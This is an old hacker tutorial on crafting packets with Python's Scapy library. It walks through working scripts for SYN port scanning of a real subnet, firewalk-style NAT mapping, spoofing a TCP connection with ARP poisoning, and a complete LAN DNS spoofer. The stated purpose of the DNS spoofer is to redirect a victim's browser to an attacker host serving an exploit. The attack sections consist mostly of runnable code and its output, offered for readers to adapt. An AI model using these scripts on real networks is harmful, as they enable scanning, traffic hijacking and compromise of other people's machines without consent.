

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

This paper is subject to change.. new techniques will probably be added over time.

Foreword

In this tutorial I will cover techniques involving packet construction and manipulation to master the network from the Python command line. No prior knowledge of Python is required, however I guess that when you're as excited about this as I am, you will want to start learning it right away. However, prior knowledge of common network attacks is recommended.

In this tutorial you will get a practical jumpstart into hacking in the network area. The lack of alot of practical information on hacking at the network level makes me guess many hackers have little knowledge about the subject. Maybe you know the basics of TCP/IP and know how to use Nmap. Maybe you can even do some tricks such as Idle scanning using Hping2. But what exactly have you coded using Libnet? Ever coded a basic sniffer using Libpcap?

Anyway, regardless of your knowledge in the area of network attacks and reconnaissance, this guide would be very interesting.

Introduction

In order for you to decide whether you should be reading this tutorial, I'll start by giving a quick example to demonstrate the power we are dealing with here;

I want to code a portscanner, I want it to scan an entire C-Class network for enumerating all hosts running that have port 80 listening. I fire up python and start entering commands;

```
>>> p=IP(dst="hackaholic.org/24")/TCP(dport=80, flags="S")
>>> sr(p)
```

That's it! Now let's see which hosts have port 80 listening;

```
>>> results = _[0]
>>> for pout, pin in results:
...     if pin.flags == 2:
...         print pout.dst
...
24.132.156.5
24.132.156.19
24.132.156.24
24.132.156.72
24.132.156.102
24.132.156.107
24.132.156.121
24.132.156.141
24.132.156.150
24.132.156.148
24.132.156.204
24.132.156.211
>>>
```

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

Welcome to the black magic box called Scapy! What I just did; I first created a packet which was sent to the /24-subnet that hackaholic.org is connected to and set the TCP header to destination port 80 and the SYN flag.

Now, as you should know, the SYN flag is used to initiate a connection. A reply of SA (SYN/ACK) means the port is listening, a RA (RESET/ACK) means it is closed, and finally no response means the host is down or filters packets.

After constructing the packet I ask Scapy to unleash its black magic and emit the packets. The results are then dissected in the for-loop and the destination IP addresses of hosts that replied SA are listed.

Scapy is the excellent tool written Philippe Biondi, available for download here: <http://www.cartel-securite.fr/pbiondi/projects/scapy/>. Even though this tutorial should provide most of the documentation you'd need, you could find more documentation there. Make sure you also study his presentation on Scapy. Even though scapy itself is good, his documentation is not fabulous, alot you have to figure out yourself.

Scapy Setup

Okay, I hope the introducing example has caught your attention and motivates you to get through this section where I explain the boring details of programming Python/Scapy.

First, let me tell you that I'm no Python expert. I'm a practical guy, I don't like to learn things that aren't practical from the start. Me learning about Python is solely the result of my wanting to use Scapy effectively. I have no textbook to look things up so some of this stuff may have been misunderstood by me and plain wrong.

Okay, let's first set up the Scapy environment. Install the binary Python release distributed with your GNU/Linux distribution (non-Linux users are hereby on their own). I've encountered that you should atleast have Python 2.2 or higher for Scapy to even run. Type 'python' on your prompt and check whether it works:

```
detach@luna:~$ python
Python 2.3.5c1 (#2, Jan 27 2005, 10:49:01)
[GCC 3.3.5 (Debian 1:3.3.5-6)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> if 1+1 == 2:
...     print "Thank goodness!"
...
Thank goodness!
>>>
```

What I like most about Python is that you can pretty much type anything that you think might work and it just works. There are some basic rules in Python you should know about though:

1. Statement blocks are not inside { } or BEGIN, END keywords, they are recognized by proper indentation; 4 spaces and empty lines.
2. No semicolons necessary as statement separators (but can be used if you want multiple statements on one line)

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

3. No parentheses necessary in conditional statements such as IF and WHILE, conditional statements end with : after which the expression is put

The most important and probably most cool feature of python is that it has native interactive mode. Yes, that's the mode you just used. You enter "python" and you get the ">>> " prompt. You can easily correct mistakes or look something up before scripting. Most of all it feels even more powerful and looks even more cool.. it's the toolkit hackers have dreamed about I guess.

Now that we have Python running we go on with scapy. Download scapy from <http://www.cartel-securite.fr/pbiondi/projects/scapy/>. At the moment of writing this is version 0.9.17beta. Now extract the Scapy source and run the program as root:

```
detach@luna:~/lab/scapy-0.9.17$ sudo python ./scapy.py
Welcome to Scapy (0.9.17.1beta)
>>>
```

You can also let scapy log everything you type by giving an added filename as added argument on the command line.

Scapy in a Nutshell

I'll start with a list of what I think are the most significant features of Scapy;

- Scapy has a send, receive and a send&receive mode.
- Scapy can send packets at layer 2 (datalink) and layer 3 (network)
- Scapy has several highlevel functions such as p0f() and arpcachepoison that can do most of what common security tools do
- Responses are easy to dissect and reuse
- It is easy

Scapy's downside is that it is relatively slow, which may make some uses impossible. Therefore it's most suitable for reconnaissance, not for DoS for example

The most important commands/functions in scapy that you need to remember are the ls() and lsc() functions. You will use them alot.

```
>>> ls()
Dot11Elt      : 802.11 Information Element
Dot11         : 802.11
SNAP          : SNAP
IPerror       : IP in ICMP
BOOTP        : BOOTP
PrismHeader   : abstract packet
Ether         : Ethernet
TCP           : TCP
Dot11ProbeResp : 802.11 Probe Response
TCPerror      : TCP in ICMP
Dot11AssoResp : 802.11 Association Response
Dot11ReassoReq : 802.11 Reassociation Request
```

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

```
Packet      : abstract packet
UDPError    : UDP in ICMP
ISAKMP      : ISAKMP
Dot11ProbeReq : 802.11 Probe Request
NTP         : NTP
Dot11Beacon : 802.11 Beacon
DNSRR       : DNS Resource Record
STP         : Spanning Tree Protocol
ARP         : ARP
UDP         : UDP
Dot11ReassoResp : 802.11 Reassociation Response
Dot1Q       : 802.1Q
ICMPError   : ICMP in ICMP
Raw         : Raw
IKETransform : IKE Transform
IKE_SA      : IKE SA
ISAKMP_payload : ISAKMP payload
LLPPP      : PPP Link Layer
IP          : IP
LLC         : LLC
Dot11Deauth : 802.11 Deauthentication
Dot11AssoReq : 802.11 Association Request
ICMP        : ICMP
Dot3        : 802.3
EAPOL       : EAPOL
Dot11Disas : 802.11 Disassociation
Padding     : Padding
DNS         : DNS
Dot11Auth   : 802.11 Authentication
Dot11ATIM   : 802.11 ATIM
DNSQR       : DNS Question Record
EAP         : EAP
IKE_proposal : IKE proposal
>>>
```

I will later explain how to use this information.

The `lsc()` function lists all available functions (of Scapy):

```
>>> lsc()
sr          : Send and receive packets at layer 3
sr1         : Send packets at layer 3 and return only the first answer
srp         : Send and receive packets at layer 2
srpl        : Send and receive packets at layer 2 and return only the
              first answer
srloop      : Send a packet at layer 3 in loop and print the answer
              each time
srploop     : Send a packet at layer 2 in loop and print the answer
              each time
sniff       : Sniff packets
p0f         : Passive OS fingerprinting: which OS emitted this TCP SYN
arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple
send        : Send packets at layer 3
sendp       : Send packets at layer 2
traceroute  : Instant TCP traceroute
arping      : Send ARP who-has requests to determine which hosts are
```

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

```

                                up
ls                               : List available layers, or infos on a given layer
lsc                              : List user commands
queso                            : Queso OS fingerprinting
nmap_fp                          : nmap fingerprinting
report_ports                     : portscan a target and output a LaTeX table
dyndns_add                       : Send a DNS add message to a nameserver for "name" to
                                have a new "rdata"
dyndns_del                       : Send a DNS delete message to a nameserver for "name"
>>>
```

Other important generic functions are:

- Net()
- IP(), ICMP(), TCP(), Ether(), etc.

Now these IP(), ICMP(), etc. functions are very interesting. You can look them up using the ls() command and you can use them to construct their headers. For example;

```
>>> ip = IP()
>>> icmp = ICMP()
>>> ip
<IP |>
>>> icmp
<ICMP |>
>>> ip.dst = "192.168.9.1"
>>> icmp.display()
---[ ICMP ]---
type      = echo-request
code      = 0
chksum    = 0x0
id        = 0x0
seq       = 0x0
>>> srl(ip/icmp)
Begin emission:
...*Finished to send 1 packets.
```

```
Received 4 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=28 id=16713 flags= frag=0L ttl=64
proto=ICMP chksum=0xa635 src=192.168.9.1 dst=192.168.9.17 options='' |<ICMP
type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |<Padding
```

```
load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|\x0c\
xa4'
```

```
|>>>
>>> _.display()
---[ IP ]---
version   = 4L
ihl       = 5L
tos       = 0x0
len       = 28
id        = 16713
flags     =
frag      = 0L
ttl       = 64
```


Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

```
>>> i = IP()
>>> i
<IP |>
>>> i.dst = "192.168.9.1"
>>> i
<IP dst=192.168.9.1 |>
>>> i.src = "192.168.9.2"
>>> del(i.dst)
>>> i
<IP src=192.168.9.2 |>
>>>
```

Ofcourse, to display all fields use the `i.display()` method. I like this alot about scapy, you can easily see what you modified this way, you aren't bothered with fields you are not interested in. For example, I really don't wanna see what TCP options are enabled, cause I don't use TCP options in most attacks. If I do use them, then show them. Excellent.

You can also use `ls()` to display an existing packet:

```
>>> ls(i)
version      : BitField          = 4          (4)
ihl          : BitField          = None       (None)
tos          : XByteField       = 0          (0)
len          : ShortField       = None       (None)
id           : ShortField       = 1          (1)
flags        : FlagsField       = 0          (0)
frag         : BitField          = 0          (0)
ttl          : ByteField        = 64         (64)
proto        : ByteEnumField    = 0          (0)
chksum       : XShortField      = None       (None)
src          : SourceIPField    = '192.168.9.2' (None)
dst          : IPField          = '127.0.0.1'  ('127.0.0.1')
options      : IPOptionsField   = ''         (')
>>>
```

You see both the default value, and the overloaded value. When building a packet you can also add a payload, like this:

```
>>> p = IP(dst="192.168.9.1")/TCP(dport=22)/"AAAAAAAAAAAA"
>>> p
<IP proto=TCP dst=192.168.9.1 |<TCP dport=22 |<Raw load='AAAAAAAAAAAA' |>>>
>>>
```

To send packets at layer 2 you need to use the `sendp`, `srp`, `srploop` and `srp1` functions. The 'p' seems to stand for `PF_PACKET`, which is the interface of Linux to allow sending layer 2 packets.

The packets are comprised of headers and the packet's datatype is list. You can check this using Python 'type' function:

To see the raw packet as a string can be useful to understand dissection:

```
>>> packet = IP(dst="192.168.0.1")/TCP(dport=25)
>>> raw_packet = str(packet)
```

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

```
>>> type(raw_packet)
<type 'str'>
>>> IP(raw_packet)
<IP version=4L ihl=5L tos=0x0 len=40 id=1 flags= frag=0L ttl=64 proto=TCP
chksum=0xf36c src=192.168.6.17 dst=192.168.0.1 options='' |<TCP sport=20
dport=25 seq=0L ack=0L dataofs=5L reserved=16L flags=S window=0
chksum=0x2853 urgptr=0 |>>
>>> TCP(raw_packet)
<TCP sport=17664 dport=40 seq=65536L ack=1074197356L dataofs=12L
reserved=0L flags=PUC window=1553 chksum=0xc0a8 urgptr=1 options=[] |>
>>> dissected_tcp = TCP(raw_packet)
>>> dissected_tcp
<TCP sport=17664 dport=40 seq=65536L ack=1074197356L dataofs=12L
reserved=0L flags=PUC window=1553 chksum=0xc0a8 urgptr=1 options=[] |>
>>> raw_packet
'E\x00\x00(\x00\x01\x00\x00@\x06\xf31\xc0\xa8\x06\x11\xc0\xa8\x00\x01\x00\x14\x00\x19
\x00\x00\x00\x00\x00\x00\x00P\x02\x00\x00(S\x00\x00'
>>>
```

Building your own Scapy Toolset

Let's start with some reconnaissance.

Here's the portscanning technique, only now implemented as a script, non-interactively:

```
detach@luna:~/lab/scapy-0.9.17$ cat pscan.py
#!/usr/bin/env python

import sys
from scapy import *
conf.verb=0

if len(sys.argv) != 2:
    print "Usage: ./pscan.py <target>"
    sys.exit(1)

target=sys.argv[1]

p=IP(dst=target)/TCP(dport=80, flags="S")
ans,unans=sr(p, timeout=9)

for a in ans:
    if a[1].flags == 2:
        print a[1].src
```

Okay, let's try it:

```
detach@luna:~/lab/scapy-0.9.17$ sudo ./pscan.py 192.168.9.0/24
192.168.9.1
192.168.9.2
192.168.9.11
192.168.9.14
```

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

See how powerful this is? Next I'll build a traceroute/firewalk –like program which I have discussed in Dealing with Firewalls (<http://hackaholic.org/papers/firewalls.txt>). What we do is, we play with the TTL (Time To Live) and a specific port. This way we can see whether NAT is used to forward ports.

What we need to do for this is:

- Detect the minimum TTL to reach our target
- Have a port to test on our target host
- Discover whether this port is listening on target host or is NATed

For this we need to use `srl()` as we want to send a packets in a loop until we get a response other than a ICMP error. We also need to keep track of the current TTL. Then this minimum TTL to reach the host is set when sending a TCP SYN to a specific port. If we get an SYN/ACK (or perhaps RST/ACK) we assume this port is not NATed, otherwise it is.

Well let's first make a program to find out the TTL to reach our target;

```
$ sudo python ./scapy.py
Welcome to Scapy (0.9.17.1beta)
>>> ttl = 0
>>> def mkpacket():
...     global ttl
...     ttl = ttl + 1
...     p = IP(dst="hackaholic.org", ttl=ttl)/ICMP()
...     return p
...
>>> res = srl(mkpacket())
Begin emission:
...*Finished to send 1 packets.

Received 4 packets, got 1 answers, remaining 0 packets
>>> while res.type == 11:
...     res = srl(mkpacket())
...
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
Begin emission:
.Finished to send 1 packets.
*
***** Etcetera,
>>> ttl
15
>>>
```

This means at hop 15 we reach our host, or meaning the minimum TTL to reach the host is 15. Note that the `ICMP()` call does not require any parameters as it defaults to `icmp-echo-request`. If ICMP is blocked (which happens a lot these days), you can instead try other means, such as UDP or just TCP. But

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

remember we want to map the NAT settings, if you use TCP then use a closed port. Otherwise; how do you know this port isn't NATed? (Note: even closed ports can be NATed).

Okay, now we know the distance is 15 we can see which ports are NATed simply by using the same technique and see if there are differences in TTLs we need.

Change the above program so that it uses TCP() instead of ICMP() and let it use dport=80. Let it run, it will probably crash because the last answer won't be ICMP, but a TCP response which does not have the 'type' field. But this doesn't matter. Just see what the value of 'ttl' is and if it is still 15 (as it is on my system), the port is likely not NATed.

Now, to make this more automatic, here's a full script. It takes the arguments 'host' and 'dport':

```
#!/usr/bin/env python

import sys
from scapy import *
conf.verb=0

if len(sys.argv) != 3:
    print "Usage: ./firewalk.py <target> <dport>"
    sys.exit(1)

dest=sys.argv[1]
port=sys.argv[2]

ttl = 0

def mkicmppacket():
    global ttl
    ttl = ttl + 1
    p = IP(dst=dest, ttl=ttl)/ICMP()
    return p

def mktcppacket():
    global ttl, dest, port
    ttl = ttl + 1
    p = IP(dst=dest, ttl=ttl)/TCP(dport=int(port), flags="S")
    return p

res = srl(mkicmppacket())
while res.type == 11:
    res = srl(mkicmppacket())
    print "+"

nat_ttl = ttl
# Since we now know our minimum TTL, we don't need to reset TTL to zero
# We do need to decrease TTL or otherwise mkpacket will increase it again
# which would result in every port being detected as forwarded
ttl = ttl - 1

res = srl(mktcppacket())
while res.proto == 1 and res.type == 11:
    res = srl(mktcppacket())
```

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

```
if res.proto != 6:
    print "Error"
    sys.exit(1)

if nat_ttl == ttl: print "Not NATed (" + str(nat_ttl) + ", " + str(ttl) + ")"
else: print "This port is NATed. firewall TTL is " + str(nat_ttl) + ", TCP port TTL
is " + str(ttl)

sys.exit(0)
```

Let's see how it goes:

```
$ sudo ./firewalk.py XX.XXX.XXX.XX 5900
+
+
***** Etcetera
This port is NATed. Firewall TTL is 10, TCP port TTL is 11
$

$ sudo ./firewalk.py google.com 80
+
+
***** Etcetera
Not NATed (16, 16)
$
```

It's much faster than my Hping3 (HTCL) implementation :-D

Well.. in times this script detects that a host is NATed, it is very likely that it is. If it does not detect a port being forwarded.. this is no proof. It's not hard to fool this technique by increasing the TTL of every incoming packet to and from a forwarded port by one. Though I doubt this is often the case.

Okay. Next thing we do is going to be alot of fun. Most likely many of you won't understand what I think is so exciting about this. What we're about to do is to create a TCP connection to a local system on the LAN from a non-existent IP address. Now, this means we will be spoofing the connection, only not blind spoofing unfortunately. The use of this is solely educational. I think it's exciting cause this TCP theory is what I learned a long time ago and this is the most real example of the TCP handshake I've ever seen :-). I believe any teacher teaching TCP/IP networking should use such an example in class instead of all the abstract theory about the sliding window mechanism and shit :-).

Okay, take a look at this script:

```
#!/usr/bin/env python

import sys
from scapy import *
conf.verb=0

if len(sys.argv) != 4:
    print "Usage: ./spooof.py <target> <spoofed_ip> <port>"
    sys.exit(1)

target = sys.argv[1]
```

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

```
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])

p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print "Okay, SYN sent. Enter the sniffed sequence number now: "

seq=sys.stdin.readline()
print "Okay, using sequence number " + seq

seq=int(seq[:-1])

p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',ack=seq+1,seq=1)
send(p2)

print "Okay, final ACK sent. Check netstat on your target :-)"
```

When you spoof your IP address, make sure you use an address that is outside of your local LAN, otherwise your target will start to lookup the MAC address of the nonexistent sender using ARP. In our case it'll just assume the spoofed packets came from the router and will address responses to the router's MAC aswell. But if you need to use an IP of your local subnet you can solve this by putting the following code right after the "SYN sent":

```
p = ARP()
p.op = 2
p.hwsrc = "00:11:22:aa:bb:cc"
p.psrc = spoofed_ip
p.hwdst = "ff:ff:ff:ff:ff:ff"
p.pdst = target
send(p)
```

That's ARP poisoning. (Note that this could be handy too if you want to spoof a connection from an *EXISTING* IP, cause you can just keep poisoning your target by telling it that the MAC address has changed; the real host you are impersonating will not be able to respond cause replies would go to a nonexistent MAC address. Through such means you could totally impersonate an online system.)

Okay, let me test:

```
$ sudo python ./spoofer.py 192.168.9.14 123.123.123.123 22
Okay, SYN sent. Enter the sniffed sequence number now:
231823219
Okay, using sequence number 231823219

Okay, final ACK sent. Check netstat on your target :-)
$
```

Now on my target I did netstat twice, before and after I sent the ACK:

```
tcp        0      0 devil.hengelo.gaast:ssh 123.123.123.123:5000 SYN_RECV
tcp        0      0 devil.hengelo.gaast:ssh 123:123.123.123:5000 ESTABLISHED
```

So how does this work anyways? Well ofcourse it works as TCP handshake works. Here's the rules:

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

- Attacker sends SYN packet with initial sequence number as 0 and acknowledgement number also 0 to target\
- Target's listening port receives SYN, generates a sequence number and acknowledges our sequence number with the acknowledgement number (seq+1), $0+1 = 1$ and sends the packet to the spoofed IP address
- We sniff the transmitted packet and type in the sequence number. I sniffed it on the target system itself, otherwise I could adapt the script to sniff on the network and figure it out himself. The sequence number is then increased by 1 to become our acknowledgement number. This number is essential in our final ACK packet to change the TCP state to ESTABLISHED (otherwise the connection is said to be half open)

This normally could be a security problem, as you can see all trust is in the sequence number generation of the target side. If we could predict the sequence numbers it generates, we could exploit any address-based trust relationship and sometimes even take over or kill existing connections. In the past TCP sequence number prediction was trivial, but nowadays all modern operating systems have decent ISN (initial sequence number) randomization. Ofcourse, any trust relationship like this happening on a local network would still allow you to sniff where needed. But overall the attack is dead. Blind connection hijacking is especially something that's almost impossible. You would need to know even more for example if you would want to RESET an existing connection:

- The SN of your target/victim
- The 4-tuple destination/source address/port

However, some modern devices such as cheap routers and other kinds of embedded systems tend to have poor TCP/IP stacks. Such devices like cable modems, DSL modems, WLAN Access Points could well be vulnerable to old network attacks. I myself have a US Robotics access point and it exports its NAT table to the world. For example, <http://ap/natlist.txt>:

```
0) UDP 0.0.0.0:0 <-> 192.168.123.254:1212, out_port:60005, last_use:32
1) UDP 0.0.0.0:0 <-> 192.168.123.254:1211, out_port:60004, last_use:32
2) UDP 0.0.0.0:0 <-> 192.168.123.254:1210, out_port:60003, last_use:32
3) UDP 0.0.0.0:0 <-> 192.168.123.254:1209, out_port:60002, last_use:45
4) UDP 0.0.0.0:0 <-> 192.168.123.254:1207, out_port:60001, last_use:17
```

Pretty horrible huh? It would be trivial to inject packets into existing UDP "connections" and alot more easy to perform attacks against TCP connections, provided it's trival to figure out the sequence numbers. In order to reset (kill) connections all you need is a sequence number of either side of the connection.

But in general, blind spoofing is dead. Other techniques such as traffic redirection through ARP poisoning, switch table poisoning are much more succesful. What is also done alot is DNS spoofing, very effective. Maybe even routing protocol attacks, but I don't see them happening that often. But that should all be pretty much possible using Scapy.

I will cover one last example on networking attacks. This time we'll do DNS poisoning.

First, let's start by sending a DNS query. I tried this and it took me a while to figure out how this worked (it's the first time I code a DNS spoofer, let alone craft DNS packets). The thing I overlooked was that DNS uses 03h (hex) to denote a '.' as in hackaholic.org. Strange. Anyways. Scapy says the following about DNS:

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

```
>>> ls(DNS())
id      : ShortField          = 0          (0)
qr      : BitField           = 0          (0)
opcode  : BitEnumField       = 0          (0)
aa      : BitField           = 0          (0)
tc      : BitField           = 0          (0)
rd      : BitField           = 0          (0)
ra      : BitField           = 0          (0)
z       : BitField           = 0          (0)
rcode   : BitEnumField       = 0          (0)
qdcnt   : DNSRRCountField    = 0          (None)
ancnt   : DNSRRCountField    = 0          (None)
nscnt   : DNSRRCountField    = 0          (None)
arcnt   : DNSRRCountField    = 0          (None)
qd      : DNSQRField         = None       (None)
an      : DNSRRField         = None       (None)
ns      : DNSRRField         = None       (None)
ar      : DNSRRField         = None       (None)
>>>
```

Now, from the RFC (1035) I figured out the following fields to be of interest for sending a DNS query:

ID: This is a 16-bit identifier which your OS uses to distinguish between queries. This way the OS knows which response belongs to which query (the response ID will be copied from the ID we send)

QR: Query type (0 means question, 1 means response)

OPCODE: The type of query (4-bits long). 0 means standard query, 1 is inverse query, 2 is server status request

QDCOUNT: Howmany questions you are going to ask (usually 1)

QD: Request field. The request field consists of 3 fields again;

QNAME: host/domainname (variable length), note: replace '.' with \x03. For some reason, the QNAME needs to start with a newline (\n)

QTYPE: 2-byte type of query (set to 01)

QCLASS: 2-byte class of query (set to 01, Internet)

Every field in the request field must be terminated by a NUL-byte

Okay, let's do it. My local nameserver is 192.168.9.1. The transport protocol we use is UDP:

```
>>> i = IP()
>>> u = UDP()
>>> d = DNS()
>>> i.dst = "192.168.9.1"
>>> u.dport = 53
>>> u.sport = 31337
>>> d.id = 31337
>>> d.qr = 0
>>> d.opcode = 0
```

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

```
>>> d.qdcount = 1
>>> d.qd = '\nhackaholic\x03org\x00\x00\x01\x00\x01'
>>> packet = i/u/d
>>> srl(packet)
Begin emission:
...*Finished to send 1 packets.
```

```
Received 4 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=188 id=12111 flags=DF frag=0L ttl=64 proto=
UDP checksum=0x777f src=192.168.9.1 dst=192.168.9.17 options='' |<UDP sport=53
dport=31337 len=168 checksum=0xab33 |<DNS id=31337 qr=1L opcode=16 aa=0L tc=0L
rd=0L ra=1L z=8L rcode=ok qdcount=1 ancount=1 nscount=5 arcount=0 qd=<DNSQR q
name='hackaholic.org.' qtype=A qclass=IN |> an=<DNSRR rrname='hackaholic.org.
' type=A rclass=IN ttl=661L rdata='24.132.169.84' |> ns=<DNSRR rrname='hackah
olic.org.' type=NS rclass=IN ttl=1177L rdata='dns4.name-services.com.' |<DNSR
R rrname='hackaholic.org.' type=NS rclass=IN ttl=1177L rdata='dns5.name-servi
ces.com.' |<DNSRR rrname='hackaholic.org.' type=NS rclass=IN ttl=1177L rdata=
'dns1.name-services.com.' |<DNSRR rrname='hackaholic.org.' type=NS rclass=IN
ttl=1177L rdata='dns2.name-services.com.' |<DNSRR rrname='hackaholic.org.' ty
pe=NS rclass=IN ttl=1177L rdata='dns3.name-services.com.' |>>>> ar=0 |<Paddi
ng load='6g\xa3\xf8' |>>>>
>>>
```

Now you can also do this;

```
>>> res =srl(packet)
Begin emission:
.*Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets
>>> res.an.rdata
'24.132.169.84'
>>>
```

Cool huh? Now that we are confident we can find out how to forge DNS packets, we'll get down to business.

I wrote a DNS spoofing program for this paper.. it assumes the following scenario:

There are two hosts, A and B and a router R. R is the gateway to the internet but also is the local nameserver. We are the attacker at host A, and host B is our victim. We want to accomplish that any address looked up on host B will resolve to the address of host A. So if at host B someone launches a web browser and types any URL.. it will load our page set up on Host A (for example an Internet Explorer exploit to break into host B).

Before you start make sure your host A has a webserver set up.. You can test the principle by setting for example 'google.com' to host A's address in /etc/hosts, Windows (my hosts B target) has this file too (in %windir%\System32\Drivers\etc IIRC).

So what we do is a local DNS poisoning technique (on the same LAN). Lets assume the following IP addresses:

Host A: 192.168.123.100

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

Host B: 192.168.123.101
Host R: 192.168.123.254

In order to spoof DNS we need to build a DNS response that makes sense.. meaning one that responds with the right DNS ID and one that answers to the right query. In order to do that we need to be able to sniff the DNS packets as emitted by Host B. The only way to do this is by using an extra technique to redirect traffic destined to Host R to Host A instead. We do this through ARP poisoning. If we sent a forged ARP packet right before the DNS lookup, we will be able to sniff the DNS packet and fake a reply! We will then generate a fake reply with the address of host A causing a browser to download and display our malicious page!

Okay.. study and adapt the following code:

```
#!/usr/bin/env python

import sys
from scapy import *
conf.verb=1

#### Adapt the following settings ####
conf.iface = 'eth2'
mac_address = '00:11:22:AA:BB:CC' # Real Mac address of interface conf.iface (Host
A)
####

if len(sys.argv) != 4:
    print "Usage: ./spoof.py <dns_server> <victim> <impersonating_host>"
    sys.exit(1)

dns_server = sys.argv[1]
target=sys.argv[2]
malhost = sys.argv[3]

timevalid = '\x00\x00\x07\x75'
alen = '\x00\x04'

def arpspoof(psrc, pdst, mac):
    a = ARP()
    a.op = 2
    a.hwsrc = mac
    a.psrc = psrc
    a.hwdst = "ff:ff:ff:ff:ff:ff"
    a.pdst = pdst
    send(a)

def mkdnsresponse(dr, malhost):
    d = DNS()
    d.id = dr.id
    d.qr = 1
    d.opcode = 16
    d.aa = 0
    d.tc = 0
    d.rd = 0
    d.ra = 1
    d.z = 8
```

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

```
d.rcode = 0
d.qdcount = 1
d.ancount = 1
d.nscount = 0
d.arcount = 0
d.qd = str(dr.qd)
d.an = str(dr.qd) + timevalid + alen + inet_aton(malhost)
return d

ethlen = len(Ether())
iplen = len(IP())
udplen = len(UDP())

arpspoof(dns_server, target, mac_address)
p = sniff(filter='port 53', iface='eth2', count=1)

e = p[0]
t = str(e)
i = IP(t[ethlen:])
u = UDP(t[ethlen + iplen:])
d = DNS(t[ethlen + iplen + udplen:])

dpkt = mkdnsresponse(d, malhost)

dpkt.display()

f = IP(src=i.dst, dst=i.src)/UDP(sport=u.dport, dport=u.sport)/dpkt
send(f)
```

Heres how it would work, right before you open any page on host B execute like this on host A (make sure you change the `mac_address` variable:

```
detach@luna:~/lab/scapy-0.9.17$ ./spooof.py
Usage: ./spooof.py <dns_server> <victim> <impersonating_host>
detach@luna:~/lab/scapy-0.9.17$ sudo ./spooof.py 192.168.123.254 192.168.123.101
192.168.123.100
```

It will poison the ARP cache on host B (telling the fake Mac of Host R is the real Mac of host A) and then will sniff a DNS packet. The sniffed information is then passed to our mkdnsresponse() function which will craft the fake DNS response. A working DNS spoofer in less than 100 lines of code!

Let's try:

```
detach@luna:~/lab/scapy-0.9.17$ sudo ./spooof.py 192.168.123.254 192.168.123.101
192.168.123.100
WARNING: No IP underlayer to compute checksum. Leaving null.
.
Sent 1 packets.
---[ DNS ]---
id      = 140
qr      = 1
opcode  = 16
aa      = 0
tc      = 0
rd      = 0
```

Packet Wizardry Ruling the Network with Python

Rob klein Gunnewiek aka detach
hackaholic

```
ra          = 1
z           = 8
rcode      = ok
qdcount    = 1
ancount    = 1
nscount    = 0
arcount    = 0
qd         = '\x05start\x07mozilla\x03org\x00\x00\x01\x00\x01'
an         =
'\x05start\x07mozilla\x03org\x00\x00\x01\x00\x01\x00\x00\x07u\x00\x04\xc0\xa8{d'
ns         = 0
ar         = 0
.
Sent 1 packets.
detach@luna:~/lab/scapy-0.9.17$
```

The displayed packet is the spoofed response.. as you can see the address of start.mozilla.org is spoofed.

I must say I didn't read much of the DNS protocol RFCs to build this. Most I learned from Scapy itself and Ethereal.

If you have any questions mail detach@REMOVEUPPERCASEhackaholic.org